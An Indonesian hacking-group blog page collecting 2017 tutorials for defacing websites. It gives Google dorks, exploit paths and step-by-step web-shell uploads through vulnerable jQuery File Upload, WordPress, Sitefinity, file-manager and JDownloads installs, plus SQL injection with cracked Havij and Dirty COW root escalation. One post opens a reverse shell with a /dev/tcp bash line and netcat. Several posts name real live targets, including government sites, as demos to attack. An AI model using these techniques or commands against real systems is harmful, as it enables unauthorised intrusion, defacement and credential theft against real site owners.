CYBER HIGH: Web Hacking

Tampilkan postingan dengan label Web Hacking. Tampilkan semua postingan

Cara Deface Jquery File Upload

di Agustus 28, 2017 0

assalamualaikum wr.wb
sore yang cerah untuk bikin post :'v ,kali ini gua bakal share POC
Jquery File Upload :'v
menurut gue ini cara deface yang paling mudah
tapi kita harus pande pande bypass ext shell nya :'v
ok kita lanjut ke tutorial

Bahan Bahan

-Shell ext :php.fla / php56 /php6 /php2 /php1 /.ndsfx / dll
-dork : Touch Me
csrf onlen : Mpssh
exploit : http://target.com/[path]/server/php/
itu aja :'v

Tutorial

yang pertama adalah kita dorking bisa lewat google image ato google biasa
klo dorking pake google image ya tinggal pencet images :'v di bawah kolom pencarian
contoh w dorking di google image :

Google Image

ciri ciri vuln ? seperti ini :'v Forbidden ? tinggalkan sadja :'v

ok lanjut ekse go to csrf nya :) trus isi url target
trus post filenya files [] contoh punya saya :

selanjut nya pencet lock target :'v abis itu upload shell klean trus pencet upload gan :'v

selanjutnya kita diredirect ke web tersebut lalu mendapatkan pesan sbb :

nah klo seperti itu berarti shell kita ter upload sekarang kita akses dengan menambahkan /files/namashell
contoh : www.kontok.com/server/php/files/w.php.fla

mudah kan ? masih kurang faham ? tenang ada vidionya kok

jangan lupa ya dilike fp nya :)

sekian terima kasih

Exploit/Vulnerabilities Web Hacking

Cara Deface Dengan SQLI (Havij)

di Agustus 25, 2017 0

kali ini gua mau share deface dengan sqli with Havij oke sebelumnya gua udah share tools havij ini
sekarang gua mau share cara makenya oke langsung aja

Bahan Bahan

-Havij Crack nya (download disini gan)
-google dork : (download disini)
-Kesabaran :D

Tutorial

kita Extrack Havij 1.16 dlu di tempat yang mudah dijangkau contoh Desktop
lalu klik kanan pada havij nya lalu Klik Run as admin

penampakan havij nya gini gan

oke selanjutnya kamu cari target dlu contoh saya ada live target
live : www.labooi.com/page.php?articles=17
exploit : site.com/contoh.php?id=69'
tambahin petik
oke Selanjutnya kita masukin ke havij nya tanpa tanda petik

lihat ss diatas, oke selanjut nya adalah kita klik analyze

kita tunggu ampe statusnya analyze ok selanjutnya adalah kita lihat tabel database nya
pencet tables

setelah itu klik get tables

ok selanjutnya adalah kita nyari column yang berhubungan dengan user admin pencet get columns
contoh :
     user
     admin
     users
berhubung saya dapetnya web brazil so gue pilih table
engi_utillisateurs

terlihat banyak sangad datanya :'v selanjutnya kita centang apa saja yang digunakan untuk login lalu pencet get data
contoh
email , username , password ,id , dll *use your brain

tuh keliatan kan user dan pw admin
tapi klo masih bentuk md5 kita harus hash dlu
contoh di table password kek gini
fb889735bdeb0f8fc200aad392c6aafa745c9284
nah tinggal kita hash saja di hashkiller.co.uk
selanjutnya tinggal login deh

Add caption

tuh liat punya saya heheh masuk ke dashboard admin
btw klo mentok nyari admin loginnya make admin finder yang saya sudah share
upload shell ? use your brain :)
masih kurang paham ? nih vidionya

segitu aja dari gua :) jangan lupa like fp kami ya ^_^

Exploit/Vulnerabilities Web Hacking

Wordpress Plugins Mobile Detector Shell Upload

di Agustus 13, 2017 0

yo :'v dah lama gk ngepos ea ainx gk ada imajinasi buat share tutor :'v
nyari exploit baru di exploit-db nemu juga okwowkowk
langsung aja

Bahan :

dork : inurl:"/wp-content/plugins/wp-mobile-detector/"
*kembangkan
bekas defacean kalian
oke langsung ke TKP

TKP

1. Dorking di google :'v pilih satu gan jangan semua :'v
2.nah klo sudah exploit dengan
wp-content/plugins/wp-mobile-detector/resize.php
contoh:http://site.com/wp-content/plugins/wp-mobile-detector/resize.php
3.abis itu kita anuin resize.php nya
contoh :http://site.com/wp-content/plugins/wp-mobile-detector/resize.php?src=site.com/deface.php
*site.com/deface.php nya ganti sama bekas defacean kalian
4.nah klo udah akses deh ^_^
akses ? http://site.com/wp-content/plugins/wp-mobile-detector/cache/shell.php

Demo

http://www.alrashidschool.com/ischool/wp-content/plugins/wp-mobile-detector/cache/h3.html
Kurang Paham ? vidio nya

Web Hacking

Deface CMS Sitefinity Editor Dialogs Shell Upload

di Juli 29, 2017 0

Deface CMS Sitefinity Editor Dialogs Shell Upload
Dork :
inurl:"/Sitefinity/login.aspx"
"UserControls/Dialogs"
"Sitefinity: Login"
Live Demo : http://www.calstart.org/
Exploit : /sitefinity/UserControls/Dialogs/DocumentEditorDialog.aspx
TUtor :
Tambahin Exploit Target http://www.calstart.org/sitefinity/UserControls/Dialogs/DocumentEditorDialog.aspx
Lalu Pilih Shell lu :)
Sukses Akan Seperti ini :)

Lalu lansung akses shell nyaaa,,,

Sekian & Terimah kasih :) oh, ya jangan lupa follow IG baru gw wkwkwk
https://www.instagram.com/m.daffanajwan/
Yang baik tambahin followers gw :v

Web Hacking

Tutorial Rooting Server with dirtycow

di Juli 23, 2017 1

Yo Wazzap gaes :'v w kali ini mao bagiin tutorial rooting server
mungkin udah bnyk yang tau :'v tapi share aja deh :'v
oh iya sebelum itu baca dulu nih :)
http://familyattackcyber.blogspot.co.id/2017/07/tutorial-back-connect-without-port.html
ok sedikit penjelasan tentang rooting :'v root adalah sebuah proses untuk mengizinkan pengguna ponsel pintar, tablet, dan piranti lain untuk mendapatkan akses tertinggi
yaudah gk usah banyak cincong kuy lach langsung ke kamar :*

Bahan:

1.Netcat (download disini gan)
2.ngrok (ikeh)
3.localroot dirtycow (yamete kudasai)
4.shell kernel 2016 /2015/2014 kebawah
ok lanjut ke tutorial

Tutorial

pertama kita lakukan back connect dlu :)
kita ketikkan ke ngrok nya
ngrok.exe tcp 123 abis itu ke netcatnya
nc -lnvp 123
nah ke shell nya isikan server ip sama portnya :)

yang kedua adalah kita panggil exploitnya dengan mengetik
wget link localroot yang tadi :)

selanjutnya kita compile exploitnya dengan mengetik
gcc -pthread dirty.c -o dirty -lcrypt

dan yang selanjut nya adalah kita chmod exploit yang tadi di compile dengan mengetik
chmod +x dirty

abis itu kita jalankan exploitnya :)
./dirty dan masukan pasword baru :)

nah kita tunggu :) klo udah selesai seperti ss dibawah ini :''v

abis itu cek udah ke root apa blom dengan mengetik id firefart

klo udah ke root abis itu kita anuin tty nya :''v dengan mengetik
python -c 'import pty;pty.spawn("/bin/sh")'
abis itu kita login pake command ssh
ssh firefart@localhost
trus ketik "yes"
abis itu masukin password kalian :)

kurang lebih seperti di ss :)
done kita berhasil Rooting :) skarang bebas deh lo mau mass apa ambil vpsnya wkwkwkwkwkwk :'v
vidionya gan (https://www.youtube.com/watch?v=qIJbI-dZYVg) *ini bukan vidio gua
klo ada kesalahan maaf ya ^_^ maklum gan masih newbie :)
add fb gue >:( fb gue ( sakata gintoki)
ok sekian tenkyuh gan :)

Web Hacking

SQL Injections - Innovins

di Juli 22, 2017 0

SQL Injections - Innovins
===============================================================
Gw Anggap lu udah paham dengan SQL Injections
=====
Dork : intext:"Developed by - Innovins" .php?id=
Fresh Mirror baru 2 gw submit hehehe :)
Yo Silahkan Hajar ^_^
Join Grub juga : Join Here!!! & Sukai Fanspage kami di kanan pojok

Web Hacking

Deface Dengan Responsive File Manager

di Juli 21, 2017 0

kali ini gua bakal share cara deface dengan responsive file manager :''v
teknik ini cukup simpel karena cuman upload file trus akses shell :'''v
ok langsung saja
bahan :
dork:
plugins/filemanager/uploads/
tinymce/filemanager/uploads
jquery/filemanager/uploads
*kembangin gaes
shell ext .php.fla .php5 dll
contoh:eue.php.fla
Live target : http://tesda11.com/414c0a42459163bf6a993bd016b5aeb1/js/jscripts/tinymce/plugins/filemanager/dialog.php

Tutorial:

pertama tama kalean Dorking di google :''v klo udah dapet targetnya exploit dengan dialog.php
contoh:
site.com/path/filemanager/dialog.php

trus abis itu pencet bagian upload

abis itu upload shell klean :)

XoXoXoXoXo mudah kan ?

akses shell ? site.com/path/filemanager/uploads/shell klean :''v
ok itu aja dari gue hehehehehe klo ada salah komen ya gan :)
oh iya jangan lupa Like FP kami ya :*

Web Hacking

Deface Magento Add Admin

di Juli 15, 2017 0

Deface Magento Add Admin
Ok Guys, Sorry gw baru Share tadi agak sibuk jadi sekarang gw share sebelum tidur hehehe
Sebelum itu Download Bahan Dulu -> Download !!!
Dork : inurl:costumer/login
"Powered By Magento"
*Kembangin lagi , atau lu cari dork di blog" lain :)
Step:
Download tuh aplikas lalu buka & isi username dan password contoh daffa123 (isidenganbebas)
dan isi dengan target.

Lalu Klik Scan, Jika berhasil akan seperti ini :)

Tinggal Login , untuk login tambahin /admin/ di belakang target contoh target.com/admin/

Next nanti akan kasih tahu cara pasang shell , ngelog cc , & mendapatkan dollar paypal dari magento
Insyaallah , tapi itu gk gw tepati juga ya hahahaha :)

Exploit/Vulnerabilities Web Hacking

Tutorial Remote Code Exploit (Apache Struts2)

di Juli 10, 2017 0

Cara Deface Dengan Apache Sruts2 ( Remote Code Execution)

yo apa kabar gaes :''v gue admin baru nih hehehe kali ini gue bakal share tutor tentang
Apache struts2 Remote Code Execution
sedikit info tentang Remote Code Execution ini Remote Code execution adalah sebuah vulnrability yang memungkinkan si attacker untuk memberikan code code berbahaya seperti namanya Remote Code kita bisa meremote kode kode tersebut lalu mengirimnya ke web target
yodah gk usah banyak cocot lagi :'v
Yup Langsung saja
Bahan :
Dork : intitle:"Struts Problem Report" intext:"development mode is enabled."
Python <- disini gaes
jexboss <- disini gaes
netcat <- disini gaes

Langsung Ke tutor

1.Buka CMD lalu ke folder jexboss nya

2.yang ke dua ketikkan
python jexboss.py -u http://targetklean.com
klo vuln ada bacaan vulnerable trus ketik yes

3.sekarang kita coba reverse shell
Buka Netcat nya trus ketikkan
nc -lnvp 123

habis itu ke jexbossnya yang berhasil kita exploit
4.ketikkan /bin/bash -i > /dev/tcp/ip/port 0>&1 2>&1\n
note: klo port mu blom di forward coba pakai ngrok

Klo port blom di forward cek tutor disini gaes Tutorial back conect with Ngrok (disni)

Done udah kita berhasil reverse shell tinggal di anuin

Vidionya Gaes : disini gaes

klo hoki sih bisa di root :''v

Web Hacking

Deface Xampp Local Write Access

di Mei 28, 2017 0

Deface Xampp Local Write Access
Dork :

inurl:/xampp/lang.php
inurl:/security/lang.php

Exploit :

/xampp/lang.php?Hacked_By_FamilyAttackCyber Untuk Dork inurl:/xampp/lang.php
/security/lang.php?Hacked_By_FamilyAttackCyber Untuk Dork inurl:/security/lang.php

Live Demo Fresh :
http://metrologi.kemendag.go.id/xampp/

Masukkan Exploit jadi begini http://metrologi.kemendag.go.id/xampp/lang.php?Hacked_By_FamilyAttackCyber

VULN Seperti gambar di atas ^_^ Lalu Langsung Cek deh Gimana Ceknya ?
/xampp/lang.tmp
/security/lang.tmp
Jadi kita pake yang /xampp/lang.tmp

Gampang Kan ? Hehehehehe

Web Hacking

Deface JDownloads Shell Upload

di Mei 25, 2017 0

Deface JDownloads Shell Upload
Dork :
Powered by jDownloads/index.php?option=com_jdownloads
inurl:/index.php?option=com_jdownloads intext:Powered by jDownloads
Live Demo Yang Segar : http://sekolahkirana.com/
Exploit : /index.php?option=com_jdownloads&Itemid=1&view=upload

Dorking Dahulu Dork nya atau bisa kita gunakan pake live demo :)
tambahkan Exploit menjadi http://sekolahkirana.com/index.php?option=com_jdownloads&Itemid=1&view=upload atau http://sekolahkirana.com/index.php?option=com_jdownloads&Itemid=74&view=upload

Sebelum itu simpan lah Shell Yg Ext .php.php.j Contoh fac.php.php.j kalian bisa pake shell pribadi & buat yg ext .php.php.j . Setelah itu Klik Send File :) tapi setelah di upload bagian screenshot otomatis shell berubah menjadi .php.j :)
Akses Shell ? images/jdownloads/screenshots/namashell.php.j
Akan Seperti ini :)

Sekian & Terimah Kasih Join grub ea FAC GRub

Web Hacking

Deface Teknik Webdav

di Mei 25, 2017 0

Deface Teknik Webdav
Banyak yang PM teknik ini, udh tau nih teknik gampang mending gw share aja dah :) bagi" ilmu juga wkkwkwkw :v
Download dahulu Toolsnya

Download

Live Demo :

http://doacoes.fussesp.sp.gov.br/

http://www.csirt.sp.gov.br/
Download, Ekstrak dan buka tuh tools

Simpan tuh Live demo di notepad lalu klik load file dan klik setting. Pada Name of Your Shell ganti dengan hckd.html atau bebas sih akhiran .html atau htm pada kotak write your shell isi dengan script deface lu abis itu klik serang